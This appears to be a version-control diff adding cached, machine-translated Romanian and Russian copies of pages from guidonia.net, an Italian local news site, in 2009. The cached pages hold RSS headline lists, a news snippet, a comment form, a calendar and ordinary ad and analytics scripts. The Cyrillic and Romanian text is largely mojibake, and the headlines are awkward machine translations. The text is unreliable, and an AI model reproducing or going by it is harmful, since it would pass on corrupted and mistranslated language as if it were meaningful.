href="http://www.mpl.it/?p=6390#39;Aquila, case, fÄrÄ ciment. IatÄ dovezile. &quot; De post, Enzo Cappucci, a avut Å£Ã¢Å£Ä Ã®n moloz Ã®n regiunea Abruzzo Åi-a gÄsit dovezi ale uÅurinÅ£Ä, lipsa de control, de neglijenÅ£Ä criminalÄ cu care multe case au fost construite. De ... Tags: Enzo capace Abruzzo RaiNews24 RAI romi de [...]"">Rai pe ciment</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, case, fÄrÄ ciment. IatÄ dovezile&#39;&#39;. A trimis de Rainews24, Enzo Cappucci, a avut Å£Ã¢Å£Ä Ã®n moloz Ã®n regiunea Abruzzo Åi-a gÄsit dovezi ale uÅurinÅ£Ä, lipsa de control, de neglijenÅ£Ä criminalÄ cu care multe case au fost ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, case, fÄrÄ ciment&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Ãnarmat cu pistol antic jefuit la hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">PÃ¢nÄ la 23 iulie abonamentele la regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Managementul durerii post-operatorii victorii &quot;Åi rock &#39;stretch&quot; E. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Femeile Åi democraÅ£ie.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Frica, se aflÄ Åi &quot;mit&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Femeile Åi democraÅ£ie.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Frica, se aflÄ Åi &quot;mit&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformatoare de premiere, joi, 25 iunie sunt Ã®n sÄlile de cinema</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Alegeri, Åi Guidonia Sursa nou la centrul de</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=ro" >GuidoniaPuntoNet (Ã®n curs).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Alegeri Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="site-ul statistici" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="site-ul statistici"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.413 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 01:43:03 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/ru/_wp__p=6286&lang=ru
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/ru/_wp__p=6286&lang=ru	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/ru/_wp__p=6286&lang=ru	(revision 44)
@@ -0,0 +1,78 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6286 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guidonia: PAGANO, Ð£ÐÐ ÐÐ ÐÐÐ«ÐÐÐÐ¢ ÐÐÐ ÐÐÐ ÐÐ Ð ÐÐ¡Ð ÐÐÐ Ð¢ÐÐ ÐÐÐÐÐÐ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ - GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6286&rurl=translate.google.com&lang=it&usg=ALkJrhh0XR9nWca2-oznqxR4s9sGGfLhlw" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="Ð¿ÐŸ ÑÐŒÐŸÐ»ÑÐ°ÐœÐžÑ" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="ÑÐŸÐ·ÐŸÐ²ÑÐ¹" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="Ð·ÐµÐ»ÐµÐœÑÐ¹" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="ÐÑÑÐ¿ÑÑ" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="ÐºÑÐ°ÑÐœÑÐ¹" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="ÑÐžÐœÐžÐ¹" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÑÐµÑÑÐµ) &quot;Guidonia: PAGANO, Ð£ÐÐ ÐÐ ÐÐÐ«ÐÐÐÐ¢ ÐÐÐ ÐÐÐ ÐÐ Ð ÐÐ¡Ð ÐÐÐ Ð¢ÐÐ ÐÐÐÐÐÐ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="ÐÐ¡Ð" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia Ð² WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="ÐÐž Ð€ÐžÐœÐ°ÐœÑÐŸÐ²ÐŸÐ¹ Ð³Ð²Ð°ÑÐŽÐžÐž. ÐÐ°Ñ
+Ð²Ð°ÑÐžÐ»Ðž ÑÑÐŸÐ»ÐžÑÑ 3 ÐŒÐ»Ðœ. ÑÑÑÐº ... - ÐÐ°Ð¿Ð°ÐŽÐœÐ°Ñ" href=http://www.guidonia.net/wp/?p=6289 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=ru" >GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÐ³ÑÐµÑÑÐµ)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=ru" >ÐÐŸÐŒ</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=ru" >Ð</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=ru" >ÐÐŸÐœÑÐ°ÐºÑÑ</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="Ð¿ÐŸÐžÑÐº" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6286><h2> <span  > <a href="http://www.guidonia.net/wp?p=6286&lang=ru" >Guidonia: PAGANO, Ð£ÐÐ ÐÐ ÐÐÐ«ÐÐÐÐ¢ ÐÐÐ ÐÐÐ ÐÐ Ð ÐÐ¡Ð ÐÐÐ Ð¢ÐÐ ÐÐÐÐÐÐ - ÐÐ ÐÐ¡ Ð¿ÑÐµÑÑÑ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ</a></span> </h2><p class=meta-header> <span  > ÐÐŸÑÑÑÐ¿ÐžÐ»ÐŸ Ð¿ÐŸ 04 ÐžÑÐ»Ñ 2009 Ð³ÐŸÐŽÐ° Ð² <a href="http://www.guidonia.net/wp?cat=1&lang=ru" >Guidonia ÐÐŸÐ²ÐŸÑÑÐž</a> Ð¿ÐŸ Ð°ÐŽÐŒÐžÐœÐžÑÑÑÐ°ÑÐŸÑÐ°</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: PAGANO, Ð£ÐÐ ÐÐ ÐÐÐ«ÐÐÐÐ¢ ÐÐÐ ÐÐÐ ÐÐ Ð ÐÐ¡Ð ÐÐÐ Ð¢ÐÐ ÐÐÐÐÐÐ</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>ÐÑÐµÑÑ ÐÐ ÐÐ¡ - ÐÐ°ÑÐžÐŸÐœÐ°Ð»ÑÐœÐŸÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÐŸÐœÐœÐŸÐµ Ð°Ð³ÐµÐœÑÑÑÐ²ÐŸ</b></font></font></span> <br /> <span  > <font size=-1>(ÐÐ¡ÐÐ ) - <b>Guidonia MONTECELIO,</b> 4 LUG - &quot;ÐÐŽÐœÐ° ÐžÐ· Ð¿ÑÐžÐŸÑÐžÑÐµÑÐœÑÑ
+ Ð·Ð°ÐŽÐ°Ñ, ÐºÐŸÑÐŸÑÑÐµ ÐŽÐŸÐ»Ð¶ÐœÑ Ð±ÑÑÑ ÑÐ°ÑÑÐŒÐŸÑÑÐµÐœÑ Ñ ÐŽÐŸÐ»Ð¶ÐœÑÐŒ ÑÑÐŸÑÐœÐŸÑÑÐž, Ð·Ð°ÐºÐ»ÑÑÐ°ÐµÑÑÑ Ð² ÑÐŸÐŒ, ÑÑÐŸ Ð±ÐµÐ·ÐŸÐ¿Ð°ÑÐœÐŸÑÑÑ ÐŽÐŸÑÐŸÐ¶ÐœÐŸÐ³ÐŸ ÐŽÐ²ÐžÐ¶ÐµÐœÐžÑ. ÐÐœÐž ÑÐ»ÐžÑÐºÐŸÐŒ ÐŒÐœÐŸÐ³ÐŸ ÐœÐµÑÑÐ°ÑÑÐœÑÑ
+ ÑÐ»ÑÑÐ°ÐµÐ² <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=deS6TQ9RkXlJg2M"><font class=p size=-1><b>Ð¿ÐŸÐŽÑÐŸÐ±ÐœÐµÐµ Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > ÐÑÑÐ°Ð²ÐžÑÑ ÐÑÐ²ÐµÑÐžÑÑ</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6286#respond style=display:none;&lang=ru" ><small>ÐÐ°Ð¶ÐŒÐžÑÐµ, ÑÑÐŸÐ±Ñ ÐŸÑÐŒÐµÐœÐžÑÑ ÐŸÑÐ²ÐµÑ.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>ÐÐŒÑ (ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (ÐœÐµ Ð±ÑÐŽÐµÑ ÐŸÐ¿ÑÐ±Ð»ÐžÐºÐŸÐ²Ð°ÐœÐŸ) (ÐŸÐ±ÑÐ·Ð°ÑÐµÐ»ÑÐœÐŸ)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>ÐÐµÐ±-ÑÐ°Ð¹Ñ</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>ÐÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐž</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="ÐÐŸÐ±Ð°Ð²ÐžÑÑ ÐºÐŸÐŒÐŒÐµÐœÑÐ°ÑÐžÐ¹" class=box /><input type=hidden name=comment_post_ID value=6286 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">ÐÐŸÐ»ÑÐ±ÐŸÐ¹</a> <a href="http://www.guidonia.net/">Ð ÐŸÐ·ÐŸÐ²ÑÐ¹</a> <a href="http://www.guidonia.net/">ÐÐµÐ»ÐµÐœÑÐ¹</a> <a href="http://www.guidonia.net/">Ð€ÐžÐŸÐ»ÐµÑÐŸÐ²ÑÐ¹</a> <a href="http://www.guidonia.net/">ÐÑÐ°ÑÐœÑÐ¹</a></span> </p><div class="about box"><h3> <span  > ÐÐœÑÐŸÑÐŒÐ°ÑÐžÑ</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: ÐžÐŽÐµÐž ÐŽÐ»Ñ Ð²ÐµÐ±</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>ÐÐŽÐµÐž Ð² Ð¿ÐŸÐžÑÐºÐ°Ñ
+ ÑÐžÐœÐ°ÐœÑÐžÑÐŸÐ²Ð°ÐœÐžÑ: <a href=mailto:info@guidonia.net>ÑÐ²ÑÐ¶ÐžÑÐµÑÑ Ñ ÐœÐ°ÐŒÐž</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > ÐÑ ÐŒÐŸÐ¶ÐµÑÐµ ÐŸÑÑÐ°ÐœÐŸÐ²ÐžÑÑÑÑ aÄ¡Ä¡ornata ÑÐµÑÐµÐ· <a href="http://www.guidonia.net/wp?feed=rss2&lang=ru" >RSS ÐºÐ°ÐœÐ°Ð».</a></span> </div><div class=col><div class=box><h3> <span  > ÐÐžÐŽÐµÐŸ ÐŸ Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="ÐÐ°ÐœÑÐ°ÑÐŽÐŸÑ Guidonia ÑÐµÐœÑÑ" src=http://i.ytimg.com/vi/z32gTXwZyq0/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ÐŸÐ±ÑÑÐ²Ð»ÐµÐœÐžÑ.</span> <span  > ÐÐžÐ°Ð»Ðµ Ð ÐŸÐŒÐ° Ðž Ð¶ÐµÐ»ÐµÐ·ÐœÐŸÐŽÐŸÑÐŸÐ¶ÐœÐŸÐ³ÐŸ Ð²ÐŸÐºÐ·Ð°Ð»Ð° ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - Ð¡Ð»ÐŸÐ²Ð° Ðž Ð·Ð²ÑÐºÐž Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - Ð¡ÐŒÑÑÐ» ÐÑÐµ - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=ru" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Ð€Ð°Ð±ÑÐžÑÐžÐŸ ÐÐŸÑÐŸ - ÐÐµ ÐžÐŒÐ¿ÐŸÑÑÐ° - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > ÐÑÑÐŸÑÐºÐž Ð»ÐµÐ³ÐµÐœÐŽÐ°ÑÐœÐŸÐ³ÐŸ ÐºÐŸÐœÑÐµÑÑÐ° ÐœÐ° ÐŒÐŸÑÐµ Guidonia ÐŸÑ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > ÐÐ±ÑÑÐ²Ð»ÐµÐœÐžÑ</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > ÐÑÐ»Ñ: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="Ð¿ÐŸÐœÐµÐŽÐµÐ»ÑÐœÐžÐº"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="Ð²ÑÐŸÑÐœÐžÐº"> <span  > Ð</span> </th><th abbr="mercoledÃ¬" scope=col title="Ð¡ÑÐµÐŽÐ°"> <span  > Ð</span> </th><th abbr="giovedÃ¬" scope=col title="ÑÐµÑÐ²ÐµÑÐ³"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="Ð¿ÑÑÐœÐžÑÐ°"> <span  > V</span> </th><th abbr=sabato scope=col title="Ð¡ÑÐ±Ð±ÐŸÑÐ°"> <span  > S</span> </th><th abbr=domenica scope=col title="Ð²ÐŸÑÐºÑÐµÑÐµÐœÑÐµ"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=ru" >Â«ÐÑÐœÑ</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=ru" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=ru" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=ru" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > ÐÐµÑÐµÐ²ÐŸÐŽÑÐžÐº</span> </h3>
